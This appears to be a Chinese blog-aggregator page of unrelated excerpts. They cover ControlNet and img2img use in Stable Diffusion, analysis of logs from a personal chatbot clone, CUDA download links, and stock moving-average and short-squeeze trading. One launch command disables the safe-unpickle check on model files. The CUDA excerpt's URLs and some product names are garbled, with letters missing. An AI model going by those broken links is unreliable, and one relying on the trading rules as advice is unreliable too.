https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11p_sd15_softedge.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet wget https://huggingface.co/lllyasviel/ControlNet-v1-1/resolve/main/control_v11p_sd15s2_lineart_anime.pth -P ~/workspace/stable-diffusion-webui/models/ControlNet
这些模型文件都在 1.3G 左右，文件比较大，可以按需下载。
解决安装报错问题
我在安装这个插件时，发现报错了:
xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun
需要安装 Mac 开发工具再重新安装:
➜ xcode-select --install ➜ cd ~/workspace/stable-diffusion-webui ➜ venv/bin/pip install svglib fvcore初体验
我们通过一个李多惠的照片在 txt2img 模式下生成图片作为例子:
这个招聘的动作其实是复杂的，用提示词不可能表达出来，现在有了 ControlNet 就非常容易还原，下面是用 canny、openpose 这个两个不同的应用模型，加上对应大模型和提示词最终生成的图:
Counterfeit:
ReV Animated:
可以看到每个图都固定对了动作，衣服结构、头发等细节也都非常还原。
另外这次我们只讨论动作是不是正确，手部问题一直是 AI 绘画的难点 (SD 很难理解人应该有 5 个手指🤦🏻♀️)，负面提示词也很难解决，我之后会专门写一篇文章介绍怎么修复。
接着了解一下各个参数及其意义:
- Single Image。上传单张图片。
- Batch。处理多张图片。Input Directory 填写的是待处理的图片所在路径。
- Enable。在生图时激活 ControlNet，必选。
- Low VRAM。生图使用 ControlNet 会吃更多 VRAM，此选项可降低 VRAM 使用量。它是建议 8G 以下显存开启，我 16G 也会开启。
- Pixel Perfect。由 ControlNet 自动决定 Preprocessor 分辨率。
- Allow Preview。允许预览生图结果，会显示该模型侦测的线条或骨架。一会我们会展开
- Preprocessor 预处理器。Preprocessor 是先将上传的图片处理过一轮，例如 Scribbles 会将彩色图片转成线稿。通常 Preprocessor 和下面 Model 二者要一致，但如果你的图片不需要处理 (例如已经在 PS 里处理过了)，Preprocessor 可留空。
- Model。设置生图的时候使用哪个 ControlNet 模型。
- Control Weight。ControlNet 在生图时的权重。
- Starting Control Step。开始参与生图的步数。
- Ending Control Step。结束参与生图的步数。
- Preprocessor Resolution。预处理器的分辨率。当然我也建议勾选上面的「Pixel Perfect」让 ControlNet 自动决定。
- Control Mode。控制生图时，要 AI 平衡二者 (Balanced)，或是偏重你的提示词 (My prompt is more important)，还是偏重 ControlNet (ControlNet is more important)。
- Resize Mode。当生成图和原图的尺寸不一致时选择调整模式。
应用模型介绍
ControlNet 包含多个应用模型，这小节介绍几个主要的模型。这节的内容大部分来自于延伸阅读链接 5，我觉得比我之前的写的好，所以直接替换了。
OpenPose 姿势识别
通过姿势识别，达到精准控制人体动作。除了生成单人的姿势，它还可以生成多人的姿势，此外还有手部骨骼模型，解决手部绘图不精准问题。以下图为例：左侧为参考图像，经 OpenPose 精准识别后，得出中间的骨骼姿势，再用文生图功能，描述主体内容、场景细节和画风后，就能得到一张同样姿势，但风格完全不同的图。
Canny 边缘检测
Canny 模型可以根据边缘检测，从原始图片中提取线稿，再根据提示词，来生成同样构图的画面，也可以用来给线稿上色。
HED 边缘检测
跟 Canny 类似，但自由发挥程度更高。HED 边界保留了输入图像中的细节，绘制的人物明暗对比明显，轮廓感更强，适合在保持原来构图的基础上对画面风格进行改变时使用。
Scribble 黑白稿提取
涂鸦成图，比 HED 和 Canny 的自由发挥程度更高，也可以用于对手绘线稿进行着色处理。
- 博客 小明明s à domicile 2023-05-16 08:23:23
前言
现在终于可以介绍 Stable Diffusion 除了文生图 (txt2img) 之外最重要的功能：图生图 (img2img)。顾名思义，除了根据正向和反向提示词之外，还需要基于一张图片生成图。这个模式下功能很多我们挨个说
img2img
图生图模式下的默认功能，我们先看一下主界面:
上面还是正面提示词和负面提示词，接着是一个上传图片的区域，写着「Drop Image Here - or - Click to Upload」。然后就是相关参数，大部分在文生图里面已经见过，只有
Resize mode、Denoising strength是新增的，我们挨个介绍:- Resize mode。当上传图片尺寸和要生成的图的尺寸不同时，需要选择调整大小方案。
- Sampling Method 用于去噪，平衡生成图的速度和质量。内置多种算法可供选择。目前看起来 DPM++ 2M Karras 用的比较多。
- Sampling Steps 是去噪过程的采样步骤数。越多越好，但需要更长的时间。一般在 20-28 之间。
- 宽度和高度 (Width/Height)，输出图像的大小。按需调整即可。
- Batch Count 批次数量，我更愿意用下面的 Batch size 调整生产图的总数。
- Batch size，每一批次要生成的图像数量。可以在测试提示时多生成一些，因为每个生成的图像都会有所不同。生成的图像总数等于 Batch Count 乘以 Batch size。
- CFG (Classifier Free Guidance) scale，提示词相关性， 用于控制模型应在多大程度上遵从您的提示。他有几个只可选: 1 (大多忽略你的提示)，3 (更有创意)，7 (遵循提示和自由之间的良好平衡)，15 (更加遵守提示)，30 (严格按照提示操作)，常用的是 7，做个平衡。测试时可以换这个值体验区别。
- Denoising strength。降噪强度，常翻译成「重绘幅度」，取值范围是 0-1，描述新生成的图片与原图的相似程度，数值越小，采样越少，相似度越高，算的越快 (采样数 = Denoising strength* Sampling Steps)
- Seed，生成的每个图像都有自己的种子值，修改这个值可以控制图像的内容。
- Script。用户可以编写脚本代码，以实现一些特殊定制的功能。这个未来可以具体说，目前还没有遇到。
先具体说说
Resize mode(当然上传的图片最好与生图设置的一致):- Just resize：调整图片为生图设置的宽高。若上传图片的宽高与生成设置的宽高不一致，则该图片会被压扁。这个我非常不推荐使用，会让图片非常奇怪。
- Crop and resize：裁切图片以符合生图的宽高，我最推荐的方式。
- Resize and fill：裁切并调整图片宽高，若上传图片的宽高与生成设置的宽高不一致，则多出来的区域会自动填满。
- Just resize (latent upscale)：调整图片大小为生图设置的宽高，并使用潜在空间放大。
这个模式下最主要的就是调
Denoising strength参数。我们用下面这张从网上找的新垣结衣的照片来体验:
首先注意，我选择这个图是有 2 个原因的:
- 这个一张人像正面近像，在生成新图后更容易感受到 SD 的模型的作用
- 照片可以看到手部有动作，我会生成一张有问题的图让你感受到目前图生图模式的问题
我希望通过 SD 把这个真人照片做出动漫的效果，咱们先来个较大的
Denoising strength的值，为了方便对比我用了固定的 Seed:
我直接把生成参数列出来:
a woman with a short hair and a white shirt is posing for a picture with her hand on her chin, a photorealistic painting, Ayami Kojima, precisionism, perfect face Negative prompt: dongwm-nt,bad finger, bad body Steps: 20, Sampler: DPM++ 2M Karras, CFG scale: 8, Seed: 2345567052, Size: 512x512, Model hash: cbfba64e66, Model: CounterfeitV30_v30, Denoising strength: 0.65, Clip skip: 2这里有一点需要特别的提一下，正面提示词不是我写的。在图生图模式里，生成按钮左边有 2 个选项，分别是「Interrogate CLIP」和「Interrogate DeepBooru」。在上传图片后，可以通过「Interrogate CLIP」反推出提示词，我这个就是这么生成的。另外也说一下「Interrogate DeepBooru」，这说的是一个开源的女孩图片特征提取器，上传图片可以获得图片的标签，我已经把链接都放在了延伸阅读里面:
PS: 如果你选择
DeepBooru反推，不能直接使用那些标签，你需要从中筛选需要的、合理的标签，否则结果会完全偏离。好的，说回来。之前已经说过，
Denoising strength的值越大越和原图不符，所以如果你希望「微调」，这个值不应该大于 0.4，现在我们先取了一个更大的值，你可以看到生成图的人物手部的结果是有问题的。而且注意，负面提示词dongwm-nt本身是包含bad finger,bad body这些的。图生图不是万能的甚至很难达到你的预期
是的，这是我的体验。这个模式下如果你想要生成你想要的效果，对于大模型、微调模型、提示词、参数等都有要求，在前期，你很可能生成奇怪的图，你需要不断尝试总结经验。
不同的 Denoising strength 效果的区别
我们使用 x/y/z 脚本试试不同的重绘幅度值看看生成的效果:
可以看到随着 Denoising strength 变大，越来越不像原图了。
同时，我们还可以重叠各种微调模型，下面是使用了 VAE、Lora 和 HyperNetwork 后的效果:
这就是微调模型的作用，不过注意，微调后手部后两张还是会有问题。
PS，这个例子用的主模型是:https://civitai.com/models/4468/counterfeit-v30
绘图 (Sketch)
第二个 Tab 是 Sketch，他适合有美术基础的用户，可以给一张现有的图加东西，或者画出你想要的东西，然后再输入提示词完善，我这个没有画画细胞的人基本不用，在这里也举 2 个例子 (我也就这个水平啦)。
因为我们一会要用笔刷编辑图片，我需要用到颜色，所以加启动参数，重启 webui:
./webui.sh --disable-safe-unpickle --gradio-img2img-tool color-sketchOk, 先尝试基于现有图做修改的，我用了下面这张图:
上传后就进入了编辑模式，然后我用笔刷选了个粉色的把头发涂变色 (当然提示词中并没有提到粉色头发):
可以看到
Denoising strength到了 0.7 才看起来正常，前面的那个「涂」的效果很明显。所以如果你使用和原图差别很大的颜色涂，那么需要更大的重绘幅度值，但是相对的，生成图和原图差别很大。如果选择对比色较少的例如黑色，那么重绘幅度 0.4 可能就够了。接着我们试试完全从零画一幅画 (叫「涂鸦」更合适)，为了展示 SD 的厉害之处，我特意选择了一个「复杂」的构图，在本灵魂画手非常努力作画后，看一下生成图的效果这样的:
注意哈，因为这个模式需要上传图，所以我这里只是截了个终端的黑色区域作为背景图。我知道大家看不懂我的 Sketch🤦🏻 ♀️，解释一下，这幅画我希望展示蓝天白云，下面是草地和几棵树 (提示词也非常直白)，草地中间还有一点小溪（实在不知道溪水用什么颜色就直接换个绿区别一下）中间黑色的是背景我没涂东西，主要想看看 SD 会怎么理解。
这个效果我还是很满意的，可以说 0.65 的图已经完全达到我的预想了。
PS: 这种绘画的方法需要更大的
Denoising strength值，否则用户就得具有极强的画画天赋啦局部绘制 (Inpaint)
用户指定在图像中特定区域进行修改，而保证其他区域不变。这个我认为图生图模式下最又实用价值的模式，类似换脸、换衣服、换背景等等需要都可以通过它来实现。在上面的 Sketch 里面的例子一，我曾经想给新垣结衣换头发颜色，但是需要
Denoising strength值比较大才会看起来正常，但是通过也和原图差别非常大了。而局部绘制可以平缓的给新垣结衣换头发颜色。来试试:
我涂黑了头发，当然差不多就可以，SD 会清楚你想把头发改颜色，另外要在提示词加上
pink hair让 SD 朝着粉色头发来。可以看到随着Denoising strength增大，头发越来越粉。接着看一下参数:
除了类型为 Checkpoint 的主模型，以外还有非常多的模型，有些你可能听过有些也是第一次看到，当然，未来还会出现更多类型的这种微调模型。根据我的学习，先解释下为什么会有这么多类型的模型。
这么多模型是模型发展历史的产物。在一开始，Stable Diffusion 是从无到有训练大模型，成本很高。因为训练通用大模型非常烧钱，之前我看其他文章，GPT-3 训练一次的成本约为 140 万美元，对于一些更大的 LLM（大型语言模型），训练成本介于 200 万美元至 1200 万美元之间。除了花钱，也非常耗时间，需要一个专门团队维护。
虽然这种基础模型并没不好用，但是他们打下了很好地基础，之后 Stable Diffusion 所有的模型都是在这种模型基础上微调出来的。不过随着 Stable Diffusion 越来越流行，大模型生成的图越来越不满意不同用户的需求，所以就开始诞生各种调整技术的出现。
一开始是对大模型的参数的训练，这就诞生了在 C 站看到的各个 Checkpoint 类型的模型，这种 Checkpoint 主模型需要的 GPU、时间、人员相对于大模型来说已经非常经济了，但是，Checkpoint 只满足一（多）个类用户的需求，但是细分下去还是细节和准确度不够，也不够灵活，势必出现非常垂直的解决方案。
接着出现了 Embedding 模型，由于它只训练负责的文本理解的模块，体积很小，训练也没什么门槛，效果却不错，逐渐被用户接受。然后相继出现了兼顾效果、文件体积、训练时间、训练难度等方面的 Lora、Hypernetwork。就是这样新模型不断涌现，最近几个月最热门的是 Lora，而最近一个月 Lycoris 效果也非常好。
Textual Inversion 之前已经专门写过一篇，而 Controlnet 之后会专门写，所以这篇仅介绍美学梯度、Lora、Hypernetworks、LyCORIS 这几个模型。
美学梯度 (Aesthetic Gradients)
它的思路是在通过一张或者几张参考图生成一个美学模型，最终对提示词进行调整和加权。
原项目是:https://github.com/vicgalle/stable-diffusion-aesthetic-gradients，其中 aesthetic_embeddings 目录下有一些准备好的 Embedding。
如果你想要使用它，需要使用https://github.com/AUTOMATIC1111/stable-diffusion-webui-aesthetic-gradients这个扩展，这样就可以在「Aesthetic imgs embedding」里面选择对应的 Embedding。
现在它已经是落后的模型方案了，效果相对于其他方案来说比较差，且大模型可能以及集成它的算法，现在已经没什么人用了。
LoRA
LoRA（全称 Low-Rank Adaptation of large language models）直译为大型语言模型的低阶自适应，通过矩阵分解的方式，微调少量参数，并加总在整体参数上，所以它现在主要用来控制很多特定场景的内容生成。
当然我们不需要理解它的算法，你可以简单的认为它是特定概念 (例如画风、动作、特定对象、角色等特征) 图片的训练集即可，他会引导 SD 生成符合训练结果的图片，而不会让 SD 自由发挥。它的模型大小普遍在几十到上百 M，它比较热门的主要原因我觉得是训练难度低且效果非常好。
通过例子看效果，还是用
blindbox(大概是盲盒): https://civitai.com/models/25995/blindbox。对比下不用 LoRA 和用 LoRA 的区别:
Hypernetwork
Hypernetwork 是 NovelAI 软件开发员 Kurumuz 在 2021 年创造的一个单独的神经网络模型，它和 LoRA 很类似，它是让梯度作用于模型的扩散 (Diffusion) 过程。扩散过程中的每一步都通过一个额外的小网络来调整去噪过程的结果。这个模型主要用于画风。
通过例子看效果，用
InCase style: https://civitai.com/models/5124/incase-style-hypernetwork。对于下不用Hypernetwork和用Hypernetwork的区别:
但是和 Textual Inversion 一样，由于其效果和训练难度的原因（需要设置网络结构、训练参数等），目前并没有成为主流选择。
LyCORIS
LyCORIS (Lora beYond Conventional methods) 是最近开始流行的一种新的模型，如其名字是一种超越传统方法的 Lora，但是要比 LoRA 能够微调的层级多，它的前身是 LoCon (LoRA for convolution layer)。
LoCon 和 LoHA (LoRA with Hadamard Product representation) 都是 LyCORIS 的模型算法，如果 C 站模型下载页面如果明确说是 LoCon 那就是 LoHA
现在 stable-diffusion-webui 还没有自带它，所以需要先安装扩展:https://github.com/KohakuBlueleaf/a1111-sd-webui-lycoris。 首先点「Extensions」，再点「Install from URL」把地址输入后点「Install」等待提示完成。
注意和其他扩展不同，安装不能点击「Apply and restart UI」不能...
- 博客 二丫讲梵 2023-05-15 06:30:53如要阅读全文，点击标题跳转。在一些轻量化的场景之中，使用 ELK 方案来解决日志问题就会比较笨重，素闻 Loki 比较香，今天折腾了一番，特此记录一下整个流程。本文不涉及 Loki 的深度使用与研究，但是参照本文，你可以快速把 Loki 拉起来，并且把 Nginx 日志正确采集进来。
- 博客 二丫讲梵 2023-05-15 06:28:34如要阅读全文，点击标题跳转。很久没在随写编年更新文章了，着实把自己安排的太忙了，沉入了各种事务之中，整个人也变得了无生趣，没有什么写作的欲望。但是找工作这个历程的确一直想写一写，不为别的，只为感谢那些曾给我提供帮助的人。
- 博客 王登科-DK博客 2023-05-14 20:01:20上一篇文章，我介绍了我用自己的微信聊天数据和博客文章来训练的文本聊天模型，这篇文章被广泛传播，以致出现了很多没有必要的误会，例如很多人和这个AI聊完之后，认为我有7个女朋友，有两个男朋友，居住在北京西城区，支付宝密码是 -465g41#$ ，在北京航空航天大学读研究生等等 在此首先我想做个澄清，这些都是错的，都是这个 AI 瞎编的。 这里有必要再具体一些的说明我的训练方式——即便我拿来“开刀”的模型只有60亿参数（相较于chatgpt上千亿的参数已经很小了），将 60 亿参数全部重新训练也不现实，成本还是其次，要“喂饱”这60亿参数也需要比我的十万条数据多得多的数据，因此，我采用的是一种对部分参数微调的办法，模型的参数被分为了许多神经网络层，我主要调整的是 KV 层，这一层的参数更多的像是一种逻辑，说话方式，感觉，而不是具体的知识，模型的知识储存在其它层，虽然 KV 层的调整也会影响知识，但总的来说，在 KV 层注入知识是非常费力的。 我花了很大功夫，才让模型知道我叫啥，指望聊天记录中没出现过，或者只是出现过几次的信息，模型就记住，那根本就不可能，所以本质上它不会泄露我的任何隐私。 即便如此，很多人还是乐此不疲的和这个 AI 聊天，过去的这段时间，共有超过 2 万人，和我的克隆人聊了 13 万次。我并没有对每一句话做搜集，甚至连 Google 统计都没有用，但日志里记录了所有的请求，这是完全匿名的数据，所以我可以从日志里做一些数据分析。
一开始，我只是简单根据独立IP，统计有多少人来聊过，然后看一共有多少次生成记录，日志里有很多乱七八糟的信息，做进一步的分析会非常麻烦。
五一假期的时候，我组装的固定翼飞机炸鸡了，等网上买的零件送到的过程实在太无聊，所以我又重新捡起这些日志输出，开始看有没有什么办法能做点好玩的分析，说来惭愧，我又想到了 chatgpt，首先我让 chatgpt 帮我写了脚本，将其中的所有用户的输入和模型的输出全部匹配出来，然后我用它们做了两张词云图：
这是大家发过来的文本生成的词云图，从这张图中，大家喜欢聊什么一目了然，大约有三千人问我的女朋友叫什么名字，粗略统计，模型一共生成了两千多个名字，当然，没有一个是对的。此外还有上千人致力于探索我的支付宝密码和银行卡密码，大多数时候 AI 都会敷衍过去，但还是有一小部分得到了一个看上去像是密码的，其实是瞎编的字符串，甚至还有人兴高采烈去发贴，认为套出了我的密码，很遗憾，这确实都是瞎编的。
因为一开始的某些误会，很多人和它聊天的时候都试图和它对骂，或者诱导它骂人，这个倒是大多数人都成功了，希望被骂的朋友不要生气。
这是 AI 回复的词生成的词云图，除了作为一个AI模型特有的机器人啦，聊天啦，人工智能啦之类经常会出现的词之外，「哈哈哈」和「可以」很明显，这某种程度上确实像是我经常敷衍时候说的话。
从聊天轮次来看，超过 45% 的人和他聊了二十句以上，这非常出乎我的意料，因为我训练用的全是单轮对话，所以模型在多轮对话的表现上是非常弱鸡的，直观感受就是记不住前面的话，容易变的错乱。在这样的情况下大家还愿意和他聊这么多，可能说明，如果一个bot，人们愿意把它当成一个人，那么投射进去的情感，会让人忽略掉一些明显的缺点。
在上线后不久，我加入了一个问卷，询问大家觉得这个聊天bot如何，60%的人觉得它很不错，有人认为它很狡猾
有人认为它答非所问
还有人和它对骂，觉得它骂的不够狠
这些调研让我对优化有了一些更明确的方向，例如多轮对话能力，逻辑性，更好的记住知识，当然，之前的训练方式已经很难做更多优化了，我会用一些新的方式来做探索，其中之一是强化学习，我改动了一下聊天的网页，每次你发一句话过去，它会回两句，需要手动为回复来投票。
通过这种方式，我可以搜集更多的人类监督投票的数据，从而优化模型的表现，在多轮对话和知识记忆上，也有新的方法，不过我还拿不准。
这篇文章，除了告诉大家一下后续之外，也希望邀请大家再去和它聊聊，并且多投票，这样，一段时间之后，我就有更大把握把它做得更好。
聊天地址：DK数字分身 (greatdk.com) - 博客 轶哥博客 2023-05-14 16:02:16<>随着GPU计算能力的不断提升，CUDA（Comute Uified Device Architecture）已经成为了并行计算领域必不可少的工具。NVIDIA推出新版本的CUDA Toolkit时，开发者需要关注其下载地址。本文将向大家介绍CUDA Toolkit 11.7、11.8和12.1的官方下载地址。
- CUDA Toolkit 11.7: htt://develoer.vidia.com/cuda-11-7-0-dowload-archive
- CUDA Toolkit 11.8: htt://develoer.vidia.com/cuda-11-8-0-dowload-archive
- CUDA Toolkit 12.1: htt://develoer.vidia.com/cuda-dowload
- 博客 轶哥博客 2023-05-13 20:03:32<>作为一个对VR、AR和可穿戴设备充满浓厚兴趣的人，我一直关注着这些领域的发展。本人有耳朵方面的小问题，受医生建议不要长时间佩戴耳机，因此音频眼镜对我来说属于刚需。在此次评测中，我将从音质、漏音、便携性、续航、蓝牙功能、通话质量、佩戴舒适度、外观、防水等级、充电线、操作体验等方面对Boe音频眼镜和小米音频眼镜进行分析并比较。<>Boe智能音频眼镜2020年8月14日购于线下官方店，佩戴2年9个月。<>小米音频眼镜官方名称叫做MIJIA智能音频眼镜，购于小米有品众筹。2023年5月1日收到货，佩戴13天。<>买小米眼镜的原因是Boe眼镜续航太短，听歌3个小时就没电了，只能用一个早上，所以买小米的轮班。<>
- 博客 forecho 的独立博客 2023-05-13 10:49:00
引言
MA 是股票技术分析中最常用的技术指标之一，经常被用来判断股票的趋势。这篇文章主要介绍 MA 指标的计算方法和使用方法。
什么是 MA 指标
MA 是移动平均线 (Moving Average) 的缩写，简称「均线」，代表过去一段时间内股票的平均价格。
计算方法
均线的计算方法相对简单。它是在一定时期内股票收盘价的平均值。
以下是计算均线的基本步骤：
-
选择一个时间段：这个时间段可以是任何你选择的连续天数。常用的有 5 日、10 日、20 日、60 日、120 日、240 日等。
-
加总这个时间段内的收盘价：例如，如果你正在计算 10 日均线，你就需要把过去 10 天的收盘价加总起来。
-
除以天数：然后，你把步骤 2 中得到的总和除以你选择的天数。例如，如果你在计算 10 日均线，你就需要把总和除以 10。
这个结果就是你选择的时间段内的均线值。
例如，计算 5 日均线的公式为：
1MA5 = (P1 + P2 + P3 + P4 + P5) / 5其中，P1、P2、P3、P4、P5 分别代表最近 5 天的收盘价。
需要注意的是，均线每天都在变动，因为每天都有新的收盘价加入计算，同时最早的收盘价被排除出去。
使用目的
均线的主要目的是帮助投资者理解股票价格的趋势。它可以提供以下几种重要信息：
趋势判断
当股票价格持续高于某一均线，特别是长期均线，如 50 日或 200 日均线，就可以认为股票可能处于上升趋势中。相反，如果股票价格持续低于某一均线，就可能处于下降趋势中。
买卖信号
短期均线和长期均线的交叉通常被视为买卖信号：
- 买入信号：短期均线（如 5 日或 10 日均线）从下方穿过长期均线（如 50 日或 200 日均线），这被视为「金叉」。
- 卖出信号：反之，如果短期均线从上方穿过长期均线，这被称为「死叉」。
支撑和阻力
支撑：均线有时也被视为可能的支撑或阻力水平。如果股票价格下跌到某个均线，并在那里停止下跌或反弹，那么这个均线可能就是一个支撑线。
阻力：相反，如果股票价格上升到某个均线，并在那里停止上涨或开始回落，那么这个均线可能就是一个阻力线。
价格与均线的偏离程度
价格与均线的偏离程度也能提供一些信息。
- 如果股票价格远高于均线，可能表示过度买入，需要警惕价格回落的风险；
- 如果股票价格远低于均线，可能表示过度卖出，有可能会有反弹的机会。
使用方法
简介
常用的均线有以下几种：
- 5 日均线（MA5），即周线
- 10 日均线（MA10），即半月线
- 20 日均线（MA20），即月线，非常主要的均线
- 60 日均线（MA60），即季线
- 120 日均线（MA120），即半年线
- 240 日均线（MA240），即年线，也有人用 250 日均线代替年线
根据你的风险偏好和投资周期，你可以选择不同的均线来判断股票的趋势，策略如下：
策略 超短线 短线 中线 长线 交易时间 日内 几天 几周 几个月 使用均线 1 分、5 分、16 分、60 分 3 日、5 日 20 日、60 日 120 日、240 日 另外：
- 月线是最重要的均线，是短线操作的多空分界线
- 季线是中长期操作的多空分界线
- 趋势多头在月线之上，月线上扬，做多；趋势空头在月线之下，月线下跌，做空
单一均线交易法
一周左右的短线我们主要看 5 日、10 日、20 日均线。单一均线交易法是指我们选一个均线，比如 5 日均线，然后根据这个均线的走势来判断买卖。
看一下中国科传的例子：
- 在上图 1 的位置之前三条均线很乱，不建议入场。回撤但是 MA5 一直在 MA10、MA20 之上，这时候是一个很不错的入场点。
- 当 MA5、MA10、MA20 三条均线都向上，且 MA5 在 MA10、MA20 之上，且 MA10 在 MA20 之上，这时候可以入场，建议在收盘前 10 分钟左右入场。新手不建议在盘中操作。
- 止损点：把进场当日股价的最低价设置为止损点，如果股价跌破这个点，就卖出。
- 每天收盘前 10 分钟左右检查一下，没有跌破止损点就继续持有，直到出现卖出信号。
- 卖出信号：收盘前 10 分钟左右，股价跌破均线就卖出。如果你是 MA5 进场的就看 MA5，如果你是 MA10 进场的就看 MA10，依此类推。MA5 太累了，所以我推荐 MA10。
原则：
- 此方式只适用于多空趋势明显的时候（当 MA5、MA10、MA20 三条均线都向上，且 MA5 在 MA10、MA20 之上，且 MA10 在 MA20 之上我们称之为多头趋势），不适合震荡期间。
- MA20 均线向上时，适合做多，MA20 均线向下时，适合做空。
- 无论是做多还是做空，都要以快收盘价为准，即在收盘前 10 分钟左右，手动操作，防止盘中出现大幅波动。
- 日线和周线皆可操作。
- 入场和出场看同一个均线，比如入场看 MA5，出场也看 MA5。
- 均线选择：
- MA5：短线操作，一周左右
- MA10：中短线操作，一周到一个月
- MA20：中线操作，一个月左右
真假金叉
我们知道短均线（MA5、MA10）从下往上穿过长均线（MA20、MA60）时，称之为金叉，是买入信号；反之，称之为死叉，是卖出信号。
如上图 1 所示，MA5 从下往上穿过 MA20，股价也随之上涨，这是一个典型的金叉买入信号。
但是有时候并不是这样的，比如上图 2 的位置，MA5 从下往上穿过 MA20，但是股价并没有上涨，反而下跌了。因为此时长均线 MA20 仍然向下，这种情况我们称之为假金叉，不可盲目买入。
注意事项
需要注意的是，均线是延后指标，意味着它基于过去的数据。因此，它不能预测未来价格，只能提供对当前市场趋势的理解。
同时，任何技术指标都不能保证 100% 的准确性，因此在使用均线时，投资者还需要结合其他技术指标和市场信息。以下是一些可能导致均线失效的情况：
震荡市场
在震荡或横盘的市场中，股票价格可能会频繁地在均线上下穿越，导致均线生成的买卖信号失效。在这种市场环境中，均线往往会产生许多假信号，使得投资者反复买入和卖出，增加交易成本。
市场新闻或突发事件
重大的市场新闻或突发事件，如公司的财报发布、突然的经济政策变动、大规模的市场恐慌等，都可能导致股票价格短时间内大幅波动，这种情况下，均线可能无法及时反应这些变化。
短期极端价格波动
如果股票价格在短期内发生极端波动，比如由于市场操纵或其他非常规行为导致的大幅度价格波动，那么均线也可能失效，因为它是基于过去一段时间的平均价格计算的，可能无法反映出这种短期内的极端变动。
总结
均线是一种简单而有效的技术指标，它可以帮助投资者更好地理解市场趋势，从而做出更好的投资决策。在使用均线时，投资者需要注意以下几点：
- 均线是一种趋势指标，可以帮助投资者更好地理解市场趋势。
- 均线是一种延后指标，不能预测未来价格。
- 均线的选择需要根据投资者的投资目标和投资周期来确定。
- 均线的使用需要结合其他技术指标和市场信息。
- 均线在震荡市场、市场新闻或突发事件、短期极端价格波动等情况下可能失效。
如何你看完本篇文章有任何疑问或者建议，欢迎在下方留言，我会及时回复。
-
- 博客 Randy's Blog 2023-05-13 08:00:00742
- 博客 二丫讲梵 2023-05-12 17:56:36如要阅读全文，点击标题跳转。学习周刊-总第106期-超级给力的Mac端给应用绑定快捷键的工具
- 博客 轶哥博客 2023-05-12 00:22:56<>在ChatGPT等AI大模型流行前2年，我的代码就已经有超过50%是AI辅助编程情况下完成的。之所以AI编程有那么大的占比，是因为我的开发基于低代码DSL，编程过程中存在很多“套路”，因此我的开发效率通常是同类型任务开发者的2-6倍（效率与具体工作内容密切相关）。<>
<>上图为2022年使用Taie辅助编程中，AI自动完成的代码占比情况。<>由于ChatGPT对中文注释的理解能力更强，目前我已经由团队版Taie切换为Githu免费提供给我使用的Githu Coilot，效率只增不减。<>现今AI辅助编程大行其道，我们再也不用纠结于专精某一门编程语言了。毕竟编程语言设计之初就是为了人类更好的和计算机沟通，如今很多事情可以在AI帮助下快速完成，在掌握主流算法和基础数据结构的基础上，我们可以自由选择对应场景所适合的编程语言，提高效率的同时最大化利用语言优势。
- 博客 forecho 的独立博客 2023-05-10 12:49:00
引言
逼空是一种投资策略，它的目的是通过买入股票来迫使空头平仓，从而推高股价。逼空是一种高风险高回报的投资策略，它的风险在于，如果空头不平仓，那么逼空者将会面临巨大的损失。
这篇文章将会介绍逼空的原理，以及如何通过逼空来赚钱。
什么是做空？
在讲逼空之前我们要先了解什么是做空？做空是一种投资策略，当你看空某个股票的时候，预期其股价接下来会下跌，那么你就可以通过做空来赚钱。
做空有两种方式，一种是买看跌期权一种是直接卖股票，我们这里只针对后者进行讨论。
做空股票，操作上你可以直接在券商平仓卖出股票，即向市场借入股票，日后归还股票就可以了。这个过程中券商会向你收取利息，直到你归还股票为止。
什么是逼空？
当被大量做空的股票其价格上涨而不是下跌的时候，就会出现逼空的情况。比如，一家公司的股票预计将下跌，但却收到了一份重要的好消息，股价就会飙升。
在这种情况下，空头卖方将面临巨大的损失，因为他们必须在合约到期日购买他们最初借来的股票。空头卖方将不得不购买股票以平仓，从而推高股票价格。
所以逼空最关键的是利好消息，这个消息可以是公司的业绩，也可以是公司的重大事件，比如收购，或者是公司的重大合作。让空头短期面临压力，从而迫使他们平仓。
逼空的利弊
参与逼空有利有弊。让我们看一下这种投资策略的优缺点：
优点
- 理论上收益无限：逼空最大的吸引力在于，空头卖方在合约到期日必须购回他们做空的股票，无论价格如何。这意味着，如果确实发生了逼空，作为投资者，您从交易中获得的总利润没有上限。
- 对投资者的风险比空头卖方低：如果您投资一只股票，希望发生逼空，但它并未发生，您可能会失去的最多是您投资的金额。另一方面，空头卖方可能面临超过 100% 的亏损，还可能受到保证金调用和利息的影响。如果您购买长期期权，则预测逼空变得更加低风险，因为如果股票价格没有如您预期地上涨，您可以选择不执行该期权。
缺点：
- 可能会导致亏损复利：虽然正确地逼空可能会导致实现几乎无限的利润，但被困在逼空的炒作中也可能会让您亏损。例如，在当前 GameStop 的逼空中，GME 股票的价格在 2021 年 1 月 27 日达到约 347 美元的峰值。仅仅一周后的 2 月 3 日，GME 股票的平均价格为 92.41 美元。如果投资者在 2020 年 10 月左右 GameStop 股票交易价格约为 14 美元时买入，这不会成为问题，但在 1 月份围绕 GME 的炒作和激情中，许多投资者以 300 美元或更高的价格买入。仍持有这些投资的人可能损失了数百甚至数千美元，而几乎没有希望恢复。
- 可能会让您持有一个基本面不稳定的股票：正如我们所述，与逼空相关的股票价格的急剧上涨通常与其相关公司的基本面关系不大。这意味着，如果您错过了逼空的出口点，长期持有股票可能不是一个可行的选项。尤其是考虑到重度空头抛售的股票通常与财务上失败的公司相关联。
预测逼空
预测逼空的时机可能会具有挑战性。以下是一些指标，可以用来预测逼空何时到来：
-
高空头利息百分比：空头对特定股票的投资者或投资公司越多，到期日回购该股票的竞争就越激烈。随着更多的投资者对资产进行空头，该资产的利息随着需求的增加而上升。更多的投资者对股票进行空头可能会使抛空更为有效。
-
高空头利息比率：股票的空头利息比率是通过将股票的当前空头利息除以其平均每日交易量来计算的。空头利息比率告诉你，一个空头卖家平均需要多长时间来平仓他们的当前头寸。空头利息比率越高，逼空的可能性就越大，因为回购股票的竞争激增。
看一个实例
GME 2021-01-25 被逼空，那个时候散户联合起来搞机构，散户的钱都是美联储疫情发的，所以他们不在乎。另外需要注意的是逼空行情不适合长期持有，因为逼空的股票基本面都不好，所以逼空的时候要及时出货。
我应该参与逼空吗？
